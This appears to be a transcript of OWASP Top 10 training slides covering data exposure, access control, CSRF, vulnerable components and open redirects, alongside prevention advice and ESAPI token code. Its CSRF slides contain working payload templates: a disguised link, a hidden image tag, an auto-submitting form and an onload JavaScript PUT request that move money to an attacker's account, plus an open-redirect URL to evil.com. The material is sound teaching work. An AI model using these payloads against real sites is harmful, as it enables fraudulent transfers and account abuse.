  • 78. A6 Sensitive Data Exposure Sensitive data exposure vulnerabilities can occur when an application does not adequately protect sensitive information from being disclosed to attackers. Am I Vulnerable to Data Exposure? The first thing you have to determine is which data is sensitive enough to require extra protection. For example, passwords, credit card numbers, health records, and personal information should be protected. For all such data : 1.Is any of this data stored in clear text long term, including backups of this data? 2.Is any of this data transmitted in clear text, internally or externally? Internet traffic is especially dangerous. 3.Are any old / weak cryptographic algorithms used? 4.Are weak crypto keys generated, or is proper key management or rotation missing? 5.Are any browser security directives or headers missing when sensitive data is provided by / sent to the browser? And more … For a more complete set of problems to avoid, see ASVS areas Crypto (V7), Data Prot. (V9), and SSL (V10).
  • 79. How Do I Prevent This? How Do I Prevent This? The full perils of unsafe cryptography, SSL usage, and data protection are well beyond the scope of the Top 10. That said, for all sensitive data, do all of the following, at a minimum: 1.Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats. 2.Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen. 3.Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Consider using FIPS 140 validated cryptographic modules. 4.Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt. 5.Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
  • 80. Example Attack Scenarios Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption. However, this means it also decrypts this data automatically when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text. The system should have encrypted the credit card numbers using a public key, and only allowed back-end applications to decrypt them with the private key. Scenario #2: A site simply doesn’t use SSL for all authenticated pages. Attacker simply monitors network traffic (like an open wireless network), and steals the user’s session cookie. Attacker then replays this cookie and hijacks the user’s session, accessing the user’s private data. Scenario #3: The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All of the unsalted hashes can be exposed with a rainbow table of precalculated hashes.
  • 81. A7 Missing Function Level Access Control Am I Vulnerable to Forced Access? The best way to find out if an application has failed to properly restrict function level access is to verify every application function: 1.Does the UI show navigation to unauthorized functions? 2.Are server side authentication or authorization checks missing? 3.Are server side checks done that solely rely on information provided by the attacker? • Using a proxy, browse your application with a privileged role. Then revisit restricted pages using a less privileged role. If the server responses are alike, you're probably vulnerable. Some testing proxies directly support this type of analysis. • You can also check the access control implementation in the code. Try following a single privileged request through the code and verifying the authorization pattern. Then search the codebase to find where that pattern is not being followed. • Automated tools are unlikely to find these problems.
  • 82. How Do I Prevent Forced Access? Your application should have a consistent and easy to analyze authorization module that is invoked from all of your business functions. Frequently, such protection is provided by one or more components external to the application code. 1. Think about the process for managing entitlements and ensure you can update and audit easily. Don’t hard code. 2. The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific roles for access to every function. 3. If the function is involved in a workflow, check to make sure the conditions are in the proper state to allow access. NOTE: Most web applications don’t display links and buttons to unauthorized functions, but this “presentation layer access control” doesn’t actually provide protection. You must also implement checks in the controller or business logic.
  • 83. Example Attack Scenarios Scenario #1: The attacker simply force browses to target URLs. The following URLs require authentication. Admin rights are also required for access to the “admin_getappInfo” page. http://example.com/app/getappInfo http://example.com/app/admin_getappInfo If an unauthenticated user can access either page, that’s a flaw. If an authenticated, non-admin, user is allowed to access the “admin_getappInfo” page, this is also a flaw, and may lead the attacker to more improperly protected admin pages. Scenario #2: A page provides an ‘action ‘parameter to specify the function being invoked, and different actions require different roles. If these roles aren’t enforced, that’s a flaw.
  • 84. CSRF
  • 85. CSRF Cross-site request forgery is a web application vulnerability that makes it possible for an attacker perform actions without the awareness of the user while the user is logged into an application. Attackers commonly use CSRF attacks to target cloud storage, social media, banking, and online shopping sites because of the user information and actions available in those types of applications. CSRF attacks are also known by a number of other names, including XSRF, "Sea Surf", Session Riding, Cross-Site Reference Forgery, and Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process
  • 86. Impacts of CSRF Impacts of successful CSRF(exploits vary greatly based on the role of the victim):- 1) When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. 2) If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites(Social networking, email and all).
  • 87. CSRF This attack can happen even if the user is logged into a Website using strong encryption (HTTPS). EXAMPLE:- What to Do? • Include unique tokens in HTTP requests when performing sensitive operations to prevent Cross-Site Request Forgery (CSRF). To include unique tokens in HTTP requests: 1. Identify sensitive operations. 2. Identify code that performs sensitive operations. 3. Choose a method for generating unique tokens. 4. Add unique tokens to HTTP requests. 5. Add token validation code.
  • 88. CSRF How does the attack work ? • Building an exploit URL or script • Tricking Alice into executing the action with social engineering. • If the application was designed to primarily use GET requests to transfer parameters and execute actions, the money transfer operation might be reduced to a request like : GET http://bank.com/transfer.do?acct=BOB&amount=100 HTTP/1.1
  • 89. CSRF • Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following exploit URL which will transfer $100,000 from Alice's account to her account. She takes the original command URL and replaces the beneficiary name with herself, raising the transfer amount significantly at the same time: • http://bank.com/transfer.do?acct=MARIA&amount=100000 • The social engineering aspect of the attack tricks Alice into loading this URL when she's logged into the bank application. This is usually done with one of the following techniques: • Sending an unsolicited email with HTML content • Planting an exploit URL or script on pages that are likely to be visited by the victim while they are also doing online banking
  • 90. CSRF • The exploit URL can be disguised as an ordinary link, encouraging the victim to click it: • <a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">Vie w my Pictures!</a> • Or as a 0x0 fake image: • <img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="0" height="0" border="0">
  • 91. CSRF POST scenario • The only difference between GET and POST attacks is how the attack is being executed by the victim. Let's assume the bank now uses POST and the vulnerable request looks like this: • POST http://bank.com/transfer.do HTTP/1.1 acct=BOB&amount=100 • Such a request cannot be delivered using standard A or IMG tags, but can be delivered using a FORM tag: • <form action="http://bank.com/transfer.do" method="POST"> <input type="hidden" name="acct" value="MARIA"/> <input type="hidden" name="amount" value="100000"/> <input type="submit" value="View my pictures"/> </form>
  • 92. CSRF Other HTTP methods • Modern web application APIs frequently use other HTTP methods, such as PUT or DELETE. Let's assume the vulnerable bank uses PUT that takes a JSON block as an argument: • PUT http://bank.com/transfer.do HTTP/1.1 { "acct":"BOB", "amount":100 } Such requests can be executed with JavaScript embedded into an exploit page: • <script> function put() { var x = new XMLHttpRequest(); x.open("PUT","http://bank.com/transfer.do",true); x.setRequestHeader("Content-Type", "application/json"); x.send(JSON.stringify('{"acct":"BOB", "amount":100}')); } </script> <body onload="put()">
  • 93. CSRF OWASP Enterprise Security API has a very good option offering solid protection against CSRF. CSRF is actually pretty easy to solve. OWASP ESAPI provides the specifications to implement CSRF protection as below. • 1. Generate new CSRF token and add it to user once on login and store user in http session. • This is done in the default ESAPI implementation, and it is stored as a member variable of the User object that gets stored in the session. • /this code is in the DefaultUser implementation of ESAPI /** This user's CSRF token. */ • private String csrfToken = resetCSRFToken(); .public String resetCSRFToken() { csrfToken = ESAPI.randomizer().getRandomString(8, DefaultEncoder.CHAR_ALPHANUMERICS); return csrfToken; }
  • 94. CSRF • 2. On any forms or urls that should be protected, add the token as a parameter / hidden field. • The addCSRFToken method below should be called for any url that is going to be rendered that needs CSRF protection. Alternatively if you are creating a form, or have another technique of rendering URLs (like c:url), then be sure to add a parameter or hidden field with the name "ctoken" and the value of DefaultHTTPUtilities.getCSRFToken(). • //from HTTPUtilitiles interface final static String CSRF_TOKEN_NAME = "ctoken"; • this code is from the • DefaultHTTPUtilities implementation in ESAPI public String addCSRFToken(String href) { • User user = ESAPI.authenticator().getCurrentUser(); if (user.isAnonymous()) { return href; }
  • 95. CSRF • if there are already parameters append with &, otherwise append with ? String token = CSRF_TOKEN_NAME + "=" + user.getCSRFToken(); return href.indexOf( '?') != -1 ? href + "&" + token : href + "?" + token; } public String getCSRFToken() { User user = ESAPI.authenticator().getCurrentUser(); if (user == null) return null; return user.getCSRFToken(); } 3. On the server side for those protected actions, check that the submitted token matches the token from the user object in the session. • Ensure that you call this method from your servlet or spring action or jsf controller, or whatever server side mechanism you're using to handle requests. This should be called on any request that you need to validate for CSRF protection. Notice that when the tokens do not match, it's considered a possible forged request.
  • 96. CSRF //this code is from the DefaultHTTPUtilities implementation in ESAPI public void verifyCSRFToken(HttpServletRequest request) throws IntrusionException { User user = ESAPI.authenticator().getCurrentUser(); // check if user authenticated with this request - no CSRF protection required if( request.getAttribute(user.getCSRFToken()) != null ) { return; } String token = request.getParameter(CSRF_TOKEN_NAME); if ( !user.getCSRFToken().equals( token ) ) { throw new IntrusionException("Authentication failed", "Possibly forged HTTP request without proper CSRF token detected"); } }
  • 97. CSRF • On logout and session timeout, the user object is removed from the session and the session destroyed. • In this step, logout is called. When that happens, note that the session is invalidated and the current user object is reset to be an anonymous user, thereby removing the reference to the current user and accordingly the csrf token. • //this code is in the DefaultUser implementation of ESAPI public void logout() { ESAPI.httpUtilities().killCookie( ESAPI.currentRequest(), ESAPI.currentResponse(), HTTPUtilities.REMEMBER_TOKEN_COOKIE_NAME ); HttpSession session = ESAPI.currentRequest().getSession(false); if (session != null) { removeSession(session); session.invalidate(); } ESAPI.httpUtilities().killCookie(ESAPI.currentRequest(), ESAPI.currentResponse(), "JSESSIONID"); loggedIn = false; logger.info(Logger.SECURITY_SUCCESS, "Logout successful" ); ESAPI.authenticator().setCurrentUser(User.ANONYMOUS); }
  • 98. Example Attack Scenario The application allows a user to submit a state changing request that does not include anything secret. For example: http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243 So, the attacker constructs a request that will transfer money from the victim’s account to the attacker’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control: If the victim visits any of the attacker’s sites while already authenticated to example.com, these forged requests will automatically include the user’s session info, authorizing the attacker’s request.
  • 99. A9 Using Components with Known Vulnerabilities Am I Vulnerable to Known Vulns? • In theory, it ought to be easy to figure out if you are currently using any vulnerable components or libraries. Unfortunately, vulnerability reports for commercial or open source software do not always specify exactly which versions of a component are vulnerable in a standard, searchable way. Further, not all libraries use an understandable version numbering system. Worst of all, not all vulnerabilities are reported to a central clearinghouse that is easy to search, although sites like CVE and NVD are becoming easier to search. • Determining if you are vulnerable requires searching these databases, as well as keeping abreast of project mailing lists and announcements for anything that might be a vulnerability. If one of your components does have a vulnerability, you should carefully evaluate whether you are actually vulnerable by checking to see if your code uses the part of the component with the vulnerability and whether the flaw could result in an impact you care about.
  • 100. How Do I Prevent This? How Do I Prevent This? One option is not to use components that you didn’t write. But that’s not very realistic. Most component projects do not create vulnerability patches for old versions. Instead, most simply fix the problem in the next version. So upgrading to these new versions is critical. Software projects should have a process in place to: 1.Identify all components and the versions you are using, including all dependencies. (e.g., the versions plugin). 2. Monitor the security of these components in public databases, project mailing lists, and security mailing lists, and keep them up to date. 3.Establish security policies governing component use, such as requiring certain software development practices, passing security tests, and acceptable licenses. 4.Where appropriate, consider adding security wrappers around components to disable unused functionality and/ or secure weak or vulnerable aspects of the component.
  • 101. Example Attack Scenarios Component vulnerabilities can cause almost any type of risk imaginable, ranging from the trivial to sophisticated malware designed to target a specific organization. Components almost always run with the full privilege of the application, so flaws in any component can be serious, The following two vulnerable components were downloaded 22m times in 2011. Apache CXF Authentication Bypass – By failing to provide an identity token, attackers could invoke any web service with full permission. (Apache CXF is a services framework, not to be confused with the Apache Application Server.) Spring Remote Code Execution – Abuse of the Expression Language implementation in Spring allowed attackers to execute arbitrary code, effectively taking over the server. Every application using either of these vulnerable libraries is vulnerable to attack as both of these components are directly accessible by application users. Other vulnerable libraries, used deeper in an application, may be harder to exploit.
  • 102. A10 Invalidated Redirects and Forwards Am I Vulnerable to Redirection? 1. Review the code for all uses of redirect or forward (called a transfer in .NET). For each use, identify if the target URL is included in any parameter values. If so, if the target URL isn’t validated against a whitelist, you are vulnerable. 2. Also, spider the site to see if it generates any redirects (HTTP response codes 300-307, typically 302). Look at the parameters supplied prior to the redirect to see if they appear to be a target URL or a piece of such a URL. If so, change the URL target and observe whether the site redirects to the new target. 3. If code is unavailable, check all parameters to see if they look like part of a redirect or forward URL destination and test those that do.
  • 103. A10 Invalidated Redirects and Forwards How Do I Prevent This? Safe use of redirects and forwards can be done in a number of ways: 1.Simply avoid using redirects and forwards. 2.If used, don’t involve user parameters in calculating the destination. This can usually be done. 3.If destination parameters can’t be avoided, ensure that the supplied value is valid, and authorized for the user. It is recommended that any such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL. Applications can use ESAPI to override the sendRedirect() method to make sure all redirect destinations are safe. Avoiding such flaws is extremely important as they are a favorite target of phishers trying to gain the user’s trust.
  • 104. Example Attack Scenarios Scenario 1.The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware. http://www.example.com/redirect.jsp?url=evil.com Scenario. 2.The application uses forwards to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application’s access control check and then forwards the attacker to administrative functionality for which the attacker isn’t authorized. http://www.example.com/boring.jsp?fwd=admin.jsp